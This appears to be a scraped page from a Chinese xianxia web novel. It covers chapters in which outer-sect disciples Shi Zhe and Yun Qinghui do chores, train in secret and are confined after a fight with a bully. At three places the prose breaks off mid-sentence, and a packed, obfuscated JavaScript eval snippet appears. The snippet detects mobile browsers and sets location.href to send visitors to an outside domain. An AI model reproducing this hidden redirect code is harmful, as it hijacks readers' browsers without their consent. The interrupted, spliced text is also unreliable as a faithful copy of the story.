一行人跟随青云山师兄来到外门弟子居住的区域，那是一片依山而建的简陋屋舍，男女分开居住。此次通过的二十三人中，男子十六人，女子七人，每个房间能容纳十人，因此男子分作两间。 石蛰、陆知棠和云磬被分在了同一间房。 初入仙门，少年心性难免好奇兴奋，同屋的其他人放下行李便迫不及待地结伴出去熟悉环境，而石蛰因为浑身的污秽血迹，急需要换衣服，正好床铺上摆放着叠好的青灰色粗布制服，乃是外门弟子的统一服饰。 石蛰利落地脱掉了破烂的上衣，时常跟着武馆师傅锻炼的少年体型健硕，紧窄的腰腹，线条流畅结实的手臂肌肉，宽阔的胸膛，无一不透着蓬勃的生命力。 他拿起衣服正要往上套，忽然注意到还留在房里的云磬的视线。 那目光……并非好奇，而是一种极其专注的审视，幽深的瞳孔里仿佛藏着难以捉摸的思绪。石蛰从小在武馆长大，不是没有被人看过裸体，但大概是云磬长得太好看，他没来由地感到一阵不自在，脸颊微微发热。 这时，他猛地想起自己身上有许多方才坠崖时被树枝岩石刮擦出的、尚未完全消退的狰狞伤痕！虽然那神秘宝鼎治好了他的内伤和断骨，但体表的这些外伤痕迹却还明显留着。 他生怕吓到云磬，连忙转过身解释道： “那个，这些只是看着吓人而已，其实一点都不疼！” 云清徽的目光从他身上那些堪称惨烈的伤痕上缓缓扫过，闻言，只是极轻地应了一声： “嗯。” 听不出什么情绪。 石蛰不明白此刻气氛，他赶紧套上中衣，又拿起外袍，一边系带子一边道：“那个，云磬兄，你也要换衣服么？” 云清徽点了点头，但是他没有立刻动作，而是静静地等待石蛰换好衣服，过了一会才道： “你可以出去一会么？” “啊？” 石蛰怔了怔，一时没反应过来。大家都是男人，换个衣服为何要避？但他很快意识到对方可能极为注重隐私，连忙点头： “哦哦，好的好的！” 他说着，立刻快步走出房间，还细心地将房门从外面轻轻带上。 屋内只余下云清徽一人，他不紧不慢地换下衣裳，以他刚才所见，石蛰身上的伤足以致他死命，然而他并没有死，并且活蹦乱跳。 那就说明，他的身上，发生了某些以常理不可推断的异变。 想起话本中所谓的“机遇”，云清徽眸光微黯。 不多时，云清徽走出房间，两人刚走出院子，便遇上了同样换好衣服的陆铃兰。她也穿上了统一的弟子服，头发利落地挽起，脸上洋溢着抑制不住的兴奋和喜悦，见到 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“因此，你们的行动范围仅限于后山，严禁擅自踏入内门重地，违者重罚！每日清晨会有师兄前来教导你们基础吐纳与功法，能否留下，能否真正踏入仙途，全看你们自身努力！听明白了没有！” “听明白了！” “那好，今日就此解散，待会会有人给你们送饭。” 一番话如同冷水浇头，让不少兴奋过头的少年清醒了几分，是啊，通过试徒大会只是入门第一步。 很快，有杂役弟子送来简单的晚饭。众人吃过饭后，天色便彻底黑了下来。屋内点了油灯，昏黄的光线下，同屋的十个年轻人因为白日的经历和刚刚开始的仙门生活而兴奋难耐，躺在床上七嘴八舌地聊着天，畅想着未来，气氛热烈。 石蛰也参与了片刻，说得口干舌燥，笑着摇头回头想找云磬说话，却惊讶地发现云磬不知何时已经面朝墙壁躺下，呼吸平稳，似乎是睡着了。 这都能睡得着？ 石蛰不由咋舌，看来他今日确实是累坏了。 他又想起云磬好看的脸庞，以及那身怎么瞧都细腻过头的皮肤，一看便是平日里不惯做粗重活计的，身子骨想必也比他们这些摸爬滚打惯的人要柔弱些，更容易疲惫也是自然。 他心里忽然冒出一个念头：云磬虽然比我年长，但说不定，还要自己照顾呢。 面朝里侧躺着的云清徽，听着身后那嗡嗡不绝的噪音，精致的眉头几不可查地蹙起。被子下手指划了一道弧线，肉眼根本无法察觉的透明微光如同水幕般悄然浮现，精准地笼罩住他的床铺，将外界的嘈杂声响瞬间隔绝了大半。 世界终于清静了，他这才安心地阖上了眼睛。 4. 大少爷不会做饭 那之后，刚刚入门的二十三人开始了青云山的日子。 他们每日卯时起，在师兄教导下学习吐纳，然后开始做粗活，包括但不限于照顾药田，砍柴劈薪，洒扫庭除，挑水洗衣还有每日轮流做饭，是的，他们自己的饭也要自己做。 年轻人大多习惯干活，是以并不觉得辛苦，只是略感无聊，也有如王鹏者仗着自己“组长”身份，时常偷奸耍滑，将分内的活计推给他人，但因为他在内门有人，众人也不敢反抗，左右就是多干点活罢了。 至于做饭，洒扫，则是二十三人分编为三人一组，其中王鹏和他一个跟班在的组多一人，但由于王鹏和他跟班也不干活，实则还是三人一组。 入门已经三日，这一日轮到云磬和两位弟子做饭，大中午的，各个体能消耗巨大的年轻人早已饥肠辘辘，石蛰做完功课后溜到厨房，还没进门就听到一阵刺耳的争吵声。 “云磬，你到底是真不会还是存心捣乱？！”一个高亢尖利的声音几乎是咆哮着吼出，石蛰认出那是与云磬同组的弟子赵兴。 紧接着另一个略显粗哑的声音：“让你生个火，你看看你干的好事！” “这灶膛里的柴塞得死死的，一点气都不透，光冒浓烟不起火苗！你是想把这厨房点了还是想把我们都呛死？！” 石蛰悄悄凑近些，透过半开的窗户，只见厨房里烟雾缭绕，赵兴和孙海两人都是灰头土脸，被烟熏得眼泪直流，而站在灶台前、同样沾了满脸烟灰的云磬怒却是神色平静。 赵兴还在输出：“不会生火？行，那我们教你淘米洗菜，你倒好，米淘了三遍水还浑得像泥汤，青菜都快被你揉烂了，你是来帮忙的还是来给我们找茬的？！” 石蛰眼见里面争吵声越来越大，生怕真打起来，也顾不得那么多，一个箭步就冲进了乌烟瘴气的厨房。 “别吵了别吵了，都是同门师兄弟，有话好好说！”石蛰一边开窗通风，一边挤到剑拔弩张的三人中间。 赵兴正在气头上，看到石蛰进来，立刻调转矛头：“石蛰你来的正好，你来评评理！哪有他这样干活的？这饭还怎么吃！” 石蛰连忙摆手，息事宁人地道：“两位师兄消消气，云磬他……他可能确实不太擅长这些灶台上的活计。这样吧，我来替他做饭，保证不耽误大家吃饭，行不行？” 两人对视了一眼，反正这云磬他们是绝对不要了的，石蛰自告奋勇来帮忙总归于他们没坏处，两人闷着气不说话。 石蛰见状，连忙将跟个木头似地站在边上的云磬推出门外，一边推还一边大声地喊： “云磬你出去吧，我来做饭！” 等将人推出门了，石蛰看着云磬那张沾着烟灰却依旧没什么表情的脸，压低声音快速道： “你去忙别的吧，这里的活我帮你做了。” 云清徽的目光落在石蛰脸上，那双古井无波的眸子里闪过一丝极细微的波动，语气略微古怪： “你帮我做饭？” 石蛰不明白这么简单的问题为什么还要重复一遍，但他还是耐心地道：“是啊，你走吧，这的事你不用管了。” 云清徽垂下眼眸沉思片刻，然后开口道：“那好，你帮我做饭，我帮你挑水。” “啊？”石蛰原本只是想帮个忙，根本没想过要什么回报，他正欲拒绝，里头厨房不耐烦地催： “石蛰，你还做不做了，磨蹭什么呢？” 石蛰无奈，只好胡乱点头哄道：“行行行！你说怎样都行！” 云清徽似是得到了一个明确的承诺，这才满意离开。 石蛰看着他的背影，挠了挠头，总觉得哪里有点怪怪的，但厨房里的催促声一声紧过一声，他也顾不上多想，转身冲回了烟雾弥漫的“战场”。 石蛰他们不是专业厨子，做出来的饭菜味道只能说是勉强入口，好在大家大多出身普通，平日里对吃食并不挑剔，能填饱肚子就已足够。更何况，青云山出产的米粮蔬菜都沾染着山中灵气，味道暂且不论，吃下肚后却能明显感到一股暖流滋养身躯，让人疲惫尽消，精神为之一振。 石蛰匆匆扒完碗里的饭，目光在膳堂里扫了一圈，却没看到云磬的身影。他拉住一个同门问：“看到云磬去哪了么？” 对方正飞快往嘴里扒饭，含糊地指了指外面：“云磬？他早就吃完走了，好像往水池那边去了。” 水池？石蛰心里咯噔一下，立刻想起之前两人的约定。他赶紧放下碗筷，也朝着水池方向快步走去。 通往水池的小径旁，是一片划分给外门弟子负责的菜地。每块菜地前都摆放着一个半人高的大水缸，负责灌溉之用。张逸师兄的要求是，每人每日必须将自己名下的水缸挑满。 至于这些菜每日是否真的需要消耗整整一缸水，无人得知。但诡异的是，无论头天傍晚将水缸装得多满，第二日清晨起来，那水缸必定是空空如也。 石蛰经过菜地时，心中莫名一动，下意识地朝分配给自己负责的那口大水缸望去。 这一看，他顿时惊讶地张大了嘴巴。 水缸里面满盈盈的，清澈的水面几乎与缸沿平齐，在午后阳光下反射着粼粼波光。 “这么快？”石蛰简直不敢相信自己的眼睛。若是换做他自己来挑水，凭借着炼气初期那点微末力气和耐力，来回奔波不休，得接近未时末才能将这么大的水缸装满。 云磬哪来的这力气？ —— 水池旁，云清徽指尖操控着清凌凌的水流自动流向木桶。 青云山让众弟子挑水有自己的奥妙，从水池到菜地一路崎岖不平，只要人脚步不稳，稍有颠簸，木桶里的水就会倾倒出来。如此，出发时满满一桶，到地方只余下半桶不到，故才吃力。 这是锻炼弟子对自身力量、平衡的细微掌控，以及对耐力的磨砺。 不过，青云山也没无聊到要盯着每个弟子挑水，所以，他用灵力封住水桶，不让它倾倒而出也没问题吧？他甚至都没有用空间戒直接装满一大缸水呢。 算了算了，人在屋檐下，还是收敛点。 —— 转眼，入门已经半个月了，门内师兄还是只叫他们干粗活，众人不敢埋怨，说不定是师兄有意磨炼他们毅力呢。 期间，石蛰发现云磬不会洗衣做饭，别说洗衣服了，他连打扫院子都不会，拔草除草也不会，有一回差点将师兄的药草给拔了。 然而，与此形成鲜明对比的是，每当轮到需要纯粹体力的活计，比如去山涧挑水，他总能最快完成。那两桶沉重的水在他肩上仿佛轻若无物，山路崎岖，他却步履平稳，气息都不见丝毫紊乱。 真奇怪，他这样纤瘦的身体哪来这么大力量？ 石蛰时常不解地想。 这天干完活，石蛰回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396576|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间，发现云磬不见身影。 “知棠，看到云磬了么？” 石蛰拉住正准备去拿换洗衣物的陆知棠问道。 陆知棠摇了摇头，用汗巾擦着脖颈上的汗水：“我也没看到，怎么，找他有事？” “没事，就是问问。” 石蛰心下有些奇怪，但很快抛在脑后，和大家一起去了澡堂。 外门的澡堂设在一处天然形成的石洞内，里面被打磨出几个巨大的石池，常年有温泉水自底部流出。虽是开放式，但水汽氤氲，倒也隔开了些许视线。每日劳作后在此泡一泡，洗去一身疲乏，是许多弟子最大的享受。 陆知棠一边收拾东西，一边随口打趣道：“说起来，好像从来没见云磬跟咱们一起去过澡堂啊？他难道……从来不洗澡的？” “不可能。” 石蛰下意识地反驳道：“他很香的。” 陆知棠闻言愣了愣，随即摸着下巴笑了起来：“确实。” 讨论一个男人香不香的，未免奇怪，两人很快转开话题。 洗完澡后，石蛰没有回房间，而是在外面散步。这些日子，他只要找到空闲，便会将意识沉入宝鼎内，按照陆通的指点修炼。他自觉身体一日比一日强健，一日繁重的劳作下来，也常常觉得精力充沛，并无疲乏之感。 他信步由缰，不知不觉竟走到了后山的边界，青云山周围群兽蛰伏，是不同修为弟子试炼场所，他们这些外门弟子，只被允许在靠近居住区的浅层活动。 此刻暮色四合，此刻暮色四合，天际最后一丝暖光被黛青色的山峦吞噬，眼前的丛林在昏暗中显得愈发幽深诡谲。 石蛰停下脚步，正准备转身回去，忽然间，他脑中灵光一闪。他想起来，此前过来劈柴的时候，看到过一个不小的瀑布，难道...... 石蛰的心跳莫名加快了几分，他犹豫了片刻，终究按捺不住好奇心，还是提步走进了林中。 他朝着记忆中山涧瀑布的方向走去，越往里走，水声便愈发清晰，空气中湿润的水汽也越发浓重。拨开最后一丛茂密的灌木，眼前豁然开朗。 只见一处不大的瀑布从山崖上垂落，汇入下方一汪清澈见底的碧潭。水声轰鸣，溅起无数细碎的水珠，在月光下折射出银色光芒。 水潭中央，皎洁的月色之中，一道身影背对着他，立于及腰深的潭水中。 正是云磬。 他墨玉般的长发尽数披散下来，湿漉漉地贴在光洁的背脊和纤细的脖颈上，墨发遮掩不住的两肩细腻剔透，合着纤薄的背脊好似一整块上好的冷玉，完美得似合该为人把玩。 他微微仰着头，水流顺着流畅的肩线冲刷过紧窄的腰身，在腰窝处微微陷入，随即没入水中。 石蛰没任何心理准备，冷不丁眼中冲进这么一副画面，呆呆地张开嘴。 那个，虽然都是男的，但是他怎么觉得，不太好呢？ “谁——” 潭中云清徽猝然回首，指尖灵力在看清石蛰的脸后散去。 “石蛰，是你。” “对，对不起！” 石蛰后知后觉感到羞耻，他的脸迅速烧了起来，热意直冲头顶，慌不择言地说： “对不起，我不是有意偷看的，我......” “我知道。”云清徽的嗓音平淡无波，似乎并未动怒，他抬步从潭水中走出。 5. 修行 莹白胸膛、紧窄的腰身在朦胧的月光与水汽中乍现，水珠翻滚而下，没入水潭中。 明明都是男人，石蛰不知为何看不下去，他飞快转身，手掌捂着发烫的耳朵，几个深呼吸后，他脑中忽然闪过一个念头： 对了，他刚刚有一瞬感觉到了杀气，是错觉么？ 云清徽面无表情地拿起岸边青石上衣服，不紧不慢地系上衣带，视前方石蛰为无物。 等身后窸窸窣窣的穿衣声停下了，石蛰才小声地说：“我可以转过来了么？” “当然。” 石蛰松了口气，转过身。云磬果然已经换好了衣服，他们两人穿的都是同一制式的外门子弟制服，但石蛰总觉得这衣服穿在云磬身上格外好看，大概，是因为他的脸好看？ “我不是故意偷看的，我是因为到处找不到你才过来看看。”石蛰再次诚恳道歉。 “我知道。” 不知道为什么，总觉得现在气氛有些微妙，石蛰偷偷看了眼面无表情的云磬，清了清嗓子开口： “那个，云磬，你家境应该挺不错的吧？” 这从日常习惯和他皮肤外形就能看出。 “嗯。” “......” 石蛰等了又等，等了好一会都没等到对方下文，意识到对方是打算就停在这了，他后知后觉感到尴尬，慌忙找补道： “那，那挺好的！” “那你呢？” 云清徽侧过头，如水般的月光洒在他还带着些许湿润水汽的脸庞上，披上了一层柔和的光晕，唯独一双眼睛，如同浸在寒潭中的墨玉，深不见底，使得此刻凝视着石蛰的目光显得分外专注。 云磬是有些奇怪的，他的脸看起来很温柔很漂亮，如秋海棠如木芙蓉，但有时候气场，尤其一双眼睛却又很冷。 石蛰只在脑中转过这个念头，随即将之抛开，回答道： “我啊，我没爹没娘，也不知道打哪儿来的，听说小时候被人扔在淳安镇街口，是武馆的杨师傅心善，把我捡回去，一口饭一口水拉扯大的。武馆就是我的家，馆里的师兄弟都是我的家人。” 他说得简单直白，语气里没有自怨自艾，只有对杨师傅和武馆的深切感激。 云清徽静静地听着，脑海闪过梦里看到的“评论区”里，读者们戏谑地说着什么“X家孤儿院”之类的话。 他的目光落在石蛰侧脸上，少年神情坦荡，眼神明亮，正絮絮叨叨地说着武馆里的趣事，云清徽看着这样的石蛰，眸色渐深，陷入了沉思。 方才石蛰入山，自己竟然完全没有注意到，直至他入了瀑布区域，虽说自己有意压制了修为，神识并未完全放开。但即便如此，以他远超常人的灵觉，也不该让一个炼气期的小子悄无声息地摸到那么近的距离而毫无所觉。 这只能说明,石蛰的真实本领，绝不止表面上看起来的炼气期那么简单。 至少在此刻，并肩而行时，云清徽能清晰地感觉到，石蛰周身流转的气息，虽然依旧算不上多么强大，却远比同期那些炼气同门要凝实、浑厚得多。甚至于，那是一种不同寻常的炼气方法。 两人一路聊天回到了住处，正巧陆知棠从屋里出来倒水，看到他们一同回来，打趣道： “哟，你俩怎么一起回来了？” 石蛰：“刚刚在路上碰到，就一起回来了。” 陆知棠也就随口一问，没继续追究。两人进了屋里，云清徽不爱凑热闹，很快就歇息躺下了，石蛰和同门说了会话，也歇息了。 当然，他其实并未真正休息，而是将意识沉入了宝鼎内。 “凝神静气，抱元守一！呼吸的节奏要跟上灵气的流转，蠢材！不是让你憋气！”陆通毫不客气地呵斥着，指导石蛰进行一种极为特殊的吐纳法门。 石蛰摒除杂念，按照陆通的指引运转功法。不知过了多久，他缓缓睁开眼睛，长吁一口气，只觉得浑身暖洋洋的，说不出的舒畅。 “前辈，我感觉好多了！” “自从学了前辈的吐纳法，我耳聪目明，看东西听声音都比以前清晰很多，感觉力气也变大了不少！” 陆通冷嗤一声，虚影脸上满是不屑：“哼，这不是理所应当的么？老夫教你的这门吐纳法，乃是独门秘术，能最大效率地吸收并炼化鼎内灵气，远胜外界寻常功法。按你的资质……嗯，若是勤勉不辍，大概两到三年，便能有望筑基成功。” “还要那么久？”石蛰脱口而出。 “什么？！”陆通像是被踩了尾巴的猫，虚影猛地波动起来： “臭小子！你以为修行是吃饭喝水那么简单容易的事么？你本身根骨寻常，又非自幼以灵丹妙药淬体培元，能够二十岁前筑基，放在任何门派都已是极为了不起的成就了！寻常人若能二十筑基，五十结丹，便足以被称作天才！老夫我当年便是三十五岁结丹，已是惊才绝艳……” 他说到自己的成就，语气不禁带上了几分美滋滋的炫耀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396577|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 石蛰若有所悟地点点头，忽然想起什么，好奇地问道：“哎，前辈，那你之前提到过的那位‘天邪剑’，他是几岁结丹的？” “……二十七。” 随即他像是被揭了伤疤般暴怒起来：“你问这个干嘛？天邪剑给你好处了么你就这么关心他，他教你修行还是我教你修行啊？” 陆通发了一通无名火，好一会儿才重新冷静下来，没好气地继续之前的话题： “说正事！你如今经过宝鼎灵气和特殊吐纳法的淬炼，修为根基已与其他新入门弟子不同，更为扎实浑厚，若是明眼人看到，定会察觉到你的异常。” “不过你目前只是外门弟子，日常接触的修士修为最高也不过筑基期，他们看不穿你的虚实。” “那要什么修为才能看出来？” “至少金丹期吧。”陆通哼道：“金丹修士神念初成，对灵气波动感知敏锐，方能察觉你体内灵气异于常人的凝练。” “不过哪个金丹修士愿意来这鸟不拉屎的破外门弟子的院子，是嫌内门丹药不够香么？” 石蛰似懂非懂，又问：“那我能不能掩饰一下自己的修为，让自己看起来和别人一样？” 陆通：“可以，金丹期后。” 石蛰：“......”看来只能小心行事了。 “你也不必过于忧心——” 陆通语气缓了缓，带着几分过来人的沧桑和旧怨：“你们这等外门弟子，如同过江之鲫，无人会特意关注。即便日后有什么师门大会，人多眼杂，就算有元婴期修士在场，也不会注意到你一个炼气期的，对他们而言，你如蝼蚁，不值得他们分神留意。” “除非有一天，你修为突飞猛进，鹤立鸡群，引起了宗门高层的特别注意，和金丹期修士单独相处，否则没那么容易败露。” 石蛰认真地点点头：“晚辈明白了。” 陆通缓了缓，又道：“说起来，我今天怎么感觉到一丝杀气，你发生什么了？” “杀气？”石蛰愣了愣，想起自己此前在瀑布边感受到的气息。 他不好意思说是因为自己偷看别人洗澡，敷衍道：“没有的事，您看错了。” “是么......”陆通狐疑地看着努力做出正直面孔的石蛰，过了会，摆摆手道： “算了，你继续修炼吧。” “是，前辈！” 一旁被子里，云清徽若有所思地睁开眼睛，身旁人的气息，又变了。 6. 关禁闭 “那女子嫣然一笑，将手臂从眼前挥过，露出本来面貌，原来她竟是精怪所化！老秃驴，被我骗了吧，我看这回你还往哪里逃！” 房间里面，一名弟子口沫横飞，喋喋不休地讲着不知从哪儿听来的修仙界轶事，周围几人听得津津有味。云清徽对此不感兴趣，面无表情地起身，打算出去透透气。 坐在靠外位置的石蛰见状，很自然地侧身让开通道，目光却依旧痴迷地黏在那讲故事的人身上，嘴里还催促着： “然后呢然后呢？” “然后——” 云清徽推开门走出，没走几步，便与从另一间房出来的王鹏撞了个正着。王鹏的房间在另一间，加之他平日总找借口不干活，两人碰面的机会其实不多。 云清徽本欲径直走过，王鹏却故意肩膀一歪，重重撞了他一下，力度不小，带着明显的挑衅意味。 “啧，没长眼睛啊？”王鹏斜睨着他，语气恶劣，显然还对之前云清徽不理睬他、反而选择和石蛰组队的事耿耿于怀。 云清徽脚步顿住，他本不欲理会他，但倏忽间，心思电转，他抬起头，看向王鹏。 他眉头微蹙，脸上带着清晰可见的不悦，语气冷了下来：“王鹏，你想干什么？” “我想干什么？”王鹏见他居然敢回嘴，更是来劲，上前一步，几乎要贴到云清徽脸上： “我看你不顺眼很久了！装什么清高？不跟我，却跟几个乡巴佬混在一起，很得意是吧？” “我与谁相交，与你何干？”云清徽退后半步，避开他的唾沫星子，冷冰冰地说： “立即让开，否则——” “否则，否则什么？” 王鹏看他还敢反抗，戾气更加膨胀，干脆伸手用力推了云清徽一把！ 云清徽仿佛不堪一击，整个人向后一滑，踉跄好几步，最终砰的一声跌坐在地上。 “你再嚣张啊！” “呃，王鹏师兄......”有其余人想要劝阻。 屋内的众人听到外面动静，纷纷跑了出来。 石蛰第一个冲出来，一眼就看到云磬跌坐在地、王鹏一脸嚣张地站在面前的场景。他脸色瞬间沉了下来，一个箭步上前挡在了云清徽身前，怒视王鹏：“王鹏！你干什么！？” “我干什么？我干了什么你没长眼睛看不到啊？” “是，我打他了，打了又怎么样？一个废物，一个乡巴佬，你们还想拿我怎么样？”王鹏挺起胸膛，满脸小人得志表情，怒骂道： “滚开！不然连你一起打！” “你——” 石蛰气得拳头紧握，地上的云清徽适时地发出了一声压抑的闷哼，似乎伤得不轻，等到石蛰转过头来，他一只手捂着被推搡到的胸口，眉头紧蹙，脸色发白，脸上露出几分忍痛，显得整个人越发柔弱不能自理。 王鹏平日就仗着内门有人而嚣张跋扈，与石蛰他们早有积怨，何况他针对云磬也是受自己牵连。 石蛰怒上心头，恨恨地说： “欺人太甚，好，那你打啊！” “这可是你自己说的！”王鹏就好像看到落入陷阱的兔子，狞笑一声，一掌推向石蛰，石蛰下意识地侧身闪避，动作竟比他自己预想的要敏捷得多，王鹏那带着灵力的一掌擦着他的衣襟掠过。 王鹏见一击落空，更是恼羞成怒，低吼一声，另一只拳头紧跟着抡起，拳头表面甚至泛起极其淡薄的光晕，直砸石蛰面门，招式狠辣，全凭一股蛮力和体内稀薄灵力的加持。 在那一刻，石蛰心中出现了一种奇异的感觉，王鹏的动作在他眼底异常清晰而……缓慢。 他能清晰地看到王鹏肩胛先于手臂发力前倾的细微征兆，能捕捉到对方汇聚于拳头那稀薄灵力引动的空气微弱涟漪，他甚至比王鹏要更早地知道这拳头会落在何处。 这种感觉玄之又玄，仿佛周遭的一切都在他的感知中被无限拉长、拆解。 嗯？云清徽目光动了动，看着石蛰伸手抓住王鹏的胳膊，紧绷的腰腹骤然发力，一个过肩摔将王鹏狠狠甩在了地上。 “好，好！” 早已看不过眼王鹏的众人纷纷叫好。 “你——！”王鹏在众人的目光和叫好声中失了脸面，只觉得脸上火辣辣的，又怒又羞。 他到底也是有些底蕴的，一身筋骨从小用基础丹药喂养打熬过，论身体素质和对灵力的细微运用，在这新入门的二十三人中确实能排上前列。 只见他咬牙忍痛，猛地一个鲤鱼打挺，硬生生从地上跳了起来，重新站稳。他喘着粗气，恶狠狠地瞪着石蛰，眼神像是要喷出火来。 “再来！” 两人重新扭打在一起，石蛰正惊觉自己的变化，也有心想要测试，因此非常投入地和王鹏打了起来，两人一时之间，竟难分胜负。 女生也被这边喧哗惊扰，跑了过来观战。 陆铃兰：“怎么石蛰和王鹏打起来了？” 不管这些有的没的了。 “打得好，石蛰加油啊，别输给王鹏！”她在一旁用力喝彩。 陆知棠原还指望她劝架，这会看她兴奋地上下挥拳，脑袋都疼了起来。 院子里围了一群围观群众，自觉分为“石蛰派”和“王鹏派”，互相呐喊助威，互不相让，场上氛围异常热血。 云清徽站在人群外，歪着脑袋看两人菜鸡互啄，不过菜鸡亦有区别，石蛰明显越打越起劲，而王鹏则是逐渐落了下风。 “住手！” 就在这时，一声冷喝传来。只见张逸师兄面色阴沉地快步走来，显然是听到动静赶来的。 他冷眼看着自觉噤声的众弟子，厉声道：“宗门之内，严禁私斗！石蛰，你是怎么回事？！” 陆铃兰喊：“王鹏也动手了！” “是啊，是王鹏先动手的。” 经过一个多月相处，众人已不再那么惧怕张逸，再说了，法不责众嘛。 张逸看了眼鼻青脸肿的王鹏，沉声道：“王鹏，石蛰，你们二人，公然违背门规，罚你们在戒律堂禁闭三日！” 这惩罚不轻不重，众人不敢再议，纷纷低头领受。 王鹏和石蛰二人当下就被人带走了，等师兄们都离开了，陆铃兰才吐了吐舌，说： “我看，就是那王鹏先惹事，他老是无故刁难我们。” 陆知棠脑袋依旧疼，闻声道：“你就别再添乱了。” “也不知道石蛰关禁闭的时候有没有饭吃......”陆铃兰自言自语，慢慢走远了。 其余人也都散开，陆知棠看向站在一边的云磬，眼中若有所思，他们三人早已相识，唯有云磬是突然出现，虽说他平时表现无异，但谁知道呢，都说漂亮的女人不能信，漂亮的男人也...... 云清徽注意到他的视线，冲他回望过来，陆知棠连忙收回视线。 —— 石蛰和王鹏被关禁闭后，其余弟子中安分了许多，两派人之间虽仍有隔阂，但至少表面上是相安无事，少了些剑拔弩张的气氛。 这日中午，云清徽正欲往斋堂走去，眼角余光却瞥见一个身着杂役服饰的弟子，正端着一個木托盘，低着头快步朝着戒律堂的方向走去。 云清徽脚步微顿，随即自然地转身，拦在了那名杂役弟子面前，语气温和地问道：“这是要送去戒律堂，给石蛰和王鹏的？” “是的，师兄吩咐每日午时送一次。” “一日只送这一回？”云清徽的目光落在那个几乎能看到底的稀粥和硬邦邦的馒头上，眉头几不可查地蹙了一下。 “是，戒律堂的规矩便是如此，禁闭期间，一日一餐。”杂役弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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石蛰委委屈屈地道：“是。” 他正打算重新入定，忽听得禁闭室那扇高处的狭窄小窗传来极其轻微的“咔哒”声。 他警觉地抬头望去，只见那扇小窗被人从外面轻轻推开，一道熟悉的身影利落地翻了进来，轻盈落地，几乎没有发出什么声响。 “谁——”石蛰猝然起身，下一刻，月光透过小窗，将来人的面容照亮——是云磬！ “云磬？”石蛰又惊又喜，压低声音道：“你怎么来了？” 云清徽没有说话，只是快步走到他面前，从怀里掏出一个油纸，打开后里面赫然是一个白胖的馒头和一个油光锃亮、散发着诱人肉香的鸡腿！ “快吃吧。”云清徽将食物塞到石蛰手里，声音带着歉意： “都是因为我，你才会受罚关在此处，挨饿受冻。” 石蛰手里捧着那还带着体温的食物，鼻尖萦绕着肉香和麦香，看着眼前特意冒险前来送食的同伴，心中顿时涌起一股巨大的暖流。 “不，不是的！” 他连忙摇头，语气感动：“怎么能怪你！是王鹏欺人太甚！” “谢谢你给我带吃的！” 云清徽不擅言辞，只催促道：“那你快吃吧。” “嗯！” 石蛰正要吃饭，忽然，窗外又传来一阵细微的窸窣声！ 两人都是一惊，云清徽反应极快，立刻闪身躲到墙角阴暗的角落里，屏住了呼吸。 紧接着，那扇小窗再次被推开，又一个脑袋探了进来，随即轻巧翻滚落地，月光照在那人脸上，露出熟悉的面孔。 陆知棠飞快道：“石蛰？饿坏了吧？我给你带呃……” 陆知棠话还没说完，就看到了从角落里走出来的云清徽。 “呃，你......” 他话音未落，窗口又传来动静！ 随着窗户被打开的“啪嗒”声，一个身影灵巧地翻滚进来，陆铃兰手上拿着一个包裹，献宝似地起身道： “石蛰，你饿了吧，我给你带了……” 7. 天才符修 陆铃兰话才说一半，就看清了屋内的情景，石蛰拿着一个鸡腿，陆知棠和云磬面对面站着，三人齐齐地看向她。 “......” 四个人，八只眼睛，在昏暗的禁闭室里面面相觑。 寂静持续了几秒。 随即，不知是谁先忍不住，“噗嗤”一声笑了出来。紧接着，低低的、压抑的笑声便接二连三地响起，充满了无奈和温暖。 陆知棠笑着摇头，把自己带来的两个馒头也塞给石蛰：“得，看来我是白担心了。不过也好，多吃点！吃不下装起来！” 陆铃兰红着脸，把自己带来的那个馒头贡献出来，小声说：“我好像是最少的。” “没有没有。”石蛰也不管了，一股脑将几个包裹都收了，脸上露出幸福的神色： “谢谢你们！” 陆知棠：“哎，说这话干什么，大家都是朋友。” 他又看向云磬，心中那点微不足道的怀疑，在此刻这冒着风险送温暖的举动面前，顿时烟消云散，只余下真挚的情感。 “哟，云磬兄还给留了鸡腿。” 云清徽矜持道：“毕竟事情因我而起。” 陆铃兰：“难道不是因为王鹏欠揍？” 云清徽：“话是这么说没错。” 几人因入门被打散之后的生分全都不见了，这儿毕竟是戒律堂，三人不能久留，说了会话后很快离开了。 走出戒律堂后，陆知棠看向云清徽，神情端正，语气真挚：“抱歉啊，云磬。” “什么？”云清徽转向他，眼里满是不解。 陆知棠笑了起来，好心情地说：“没什么。” “你们在说什么？”陆铃兰从身后扑向二人。 “没什么，在说明日的早课。” “哎，明日的早课是不是又是张逸师兄？我觉得他好偏心的......” 三人一边闲聊着，一边踏着月色朝弟子房舍走去，清冷的银辉洒在小路上，护送着他们回去。 两天后，石蛰和王鹏都从戒律堂出来了，两人经过这回，关系更加恶劣，只是碍于师兄看着，不敢放肆，只等哪一天，矛盾再次爆发。 早课的内容也逐渐丰富起来，不再仅限于基础的吐纳。这日，前来授课的是一位面容温和的师兄，他站在众人前方，语气柔和地讲解道： 